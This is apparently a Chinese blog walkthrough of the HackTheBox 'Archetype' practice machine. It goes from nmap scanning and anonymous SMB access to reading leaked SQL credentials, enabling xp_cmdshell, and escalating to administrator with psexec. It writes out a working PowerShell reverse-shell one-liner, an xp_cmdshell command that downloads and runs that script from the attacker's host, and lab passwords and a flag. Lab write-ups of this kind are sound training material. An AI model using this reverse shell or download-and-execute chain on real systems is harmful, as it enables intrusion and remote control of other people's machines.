hackthebox-Archetype

前言

Starting Point->Connect to Starting Point,下拉下载你的vpn文件

得到的.ovpn文件可以直接放在kali,执行openvpn XXX.opvn即可连接到靶场

信息收集

靶场地址:10.10.10.27
先上nmap:

nmap -sC -sV 10.10.10.27
  • -sC:使用默认脚本进行扫描,等同于–script=default
  • -sV:探测开启的端口来获取服务、版本信息
    得到信息如下:
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-06-23T05:35:15
|_Not valid after:  2051-06-23T05:35:15
|_ssl-date: 2021-06-23T05:58:16+00:00; +18m27s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h42m26s, deviation: 3h07m50s, median: 18m26s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-06-22T22:58:01-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-23T05:58:05
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

smb匿名访问

可以看到445端口和1433端口是开放的,分别对应的是smb和sql server服务。
这值得我们去检查它是否存在匿名访问许可,因为共享文件里通常会储存一些密码或者敏感信息的配置文件。我们可以尝试去查看有哪些共享文件。(smbclient命令详解:http://www.linuxso.com/command/smbclient.html

smbclient -N -L //10.10.10.27/
  • -N:匿名登录
  • -L:获取共享资源列表
    发现一个backups的目录
    我们尝试匿名访问:
smbclient -N //10.10.10.27/backups

ls查看,有一个prod.dtsConfig文件
我们可以进行查看more prod.dtsConfig
也可以下载下来查看:get prod.dtsConfig

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

从这个信息中我们得到sql server的用户和密码

impacket工具

接下来是工具impacket的下载和使用
我们可以使用docker安装
拉取镜像:docker build -t "impacket:latest"
创建容器: docker run -it --rm "impacket:latest"

也可以使用git下载:git clone https://github.com/CoreSecurity/impacket.git
此处也提供一个蓝奏云下载链接:蓝奏云,密码:9hkk

安装
安装的时候可能会遇到一些环境兼容的问题,此处我使用的kali2020,由于多久没有使用了,先apt-get update一波,然后再安装python3,apt-get install python3 -y
解压并安装:

unzip impacket-master.zip
cd impacket/
python3 -m pip install .

安装完成后,可以进去看有哪些脚本:cd impacket/examples
我们需要的脚本是mssqlclient.py
利用前面泄露的id和密码登陆(ARCHETYPE\sql_svcM3g4c0rp123
使用脚本(mssqlclient.py user@ip -windows-auth,我们可以直接运行mssqlclient.py,会有如何使用的提示):

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

输入密码:M3g4c0rp123

执行SELECT IS_SRVROLEMEMBER('sysadmin'),查看权限
返回值是1,代表true,说明当前用户具有sysadmin权限,能够在靶机上使用SQL Server的xp_cmdshell来进行远程代码执行
我们可以执行下列代码:

 EXEC sp_configure 'Show Advanced Options', 1;			\\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
 reconfigure;											\\确认上面的操作
 sp_configure;											\\查看当前sp_configure配置情况
 EXEC sp_configure 'xp_cmdshell', 1						\\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
 reconfigure;											\\确认上面的操作
 xp_cmdshell "whoami" 									\\在靶机上调用cmdshell执行whoami

shell反弹

获取操作系统普通用户权限前,我们拥有了数据库的shell,也可以使用部分操作系统的命令,但是需要一个直接的操作系统shell来进行后续的操作
在桌面建立一个powershell的反弹shell文件shell.ps1(注意修改其中的ip地址为接收shell的kali主机的地址),代码如下:

$client = New-Object System.Net.Sockets.TCPClient("192.168.15.128",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

文件格式是powershell,后缀是.psl,我们暂且命名为shell.psl

kali中利用python搭建小型web服务:python3 -m http.server 80
开启监听:nc -lvnp 443

数据库shell执行(ip记得替换):

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.15.128/shell.ps1\");"

在此处的时候我遇到了如下问题,执行回显不能连接远程服务器(我后续想了一下,难道是kali机的防火墙的问题,不对啊,http://192.168.15.128也能访问的,难道是不在10段被过滤了?后续就没有再去验证了,希望有知道原因的读者可以指点一下笔者,在此多谢了):

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.15.128/shell.ps1\");"
output                                                                             

--------------------------------------------------------------------------------   

Exception calling "DownloadString" with "1" argument(s): "Unable to connect to the remote server"   

At line:1 char:1                                                                   

+ IEX (New-Object Net.WebClient).DownloadString("http://192.168.15.128/ ...        

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~            

    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException      

    + FullyQualifiedErrorId : WebException                                         

                                                                                   

NULL                                                                               

SQL> 

据网友的截图显示如下,说明成功:

可以看到有一个user.txt
netcat中执行:type C:\Users\sql_svc\Desktop\user.txt

由于这是一个普通的用户帐户以及服务帐户,因此通常检查访问文件或执行的命令。我们可以使用下面的命令访问PowerShell历史文件。
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt

提权

发现administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是administrator用户名和它的密码(administratorMEGACORP_4dm1n!!),可以使用Impacket中的psexec.py来提权:

psexec.py administrator@10.10.10.27 

执行以下命令获取管理员的flag:type C:\Users\Administrator\Desktop\root.txt

flag:b91ccec3305e98240082d4474b848528

参考

部分参考:https://blog.csdn.net/qq_45951598/article/details/115269502
以及参考官方wp:有时间再放个官方wp文件的链接

posted @ 2021-06-23 18:02  nihinumbra  阅读(383)  评论(3编辑  收藏  举报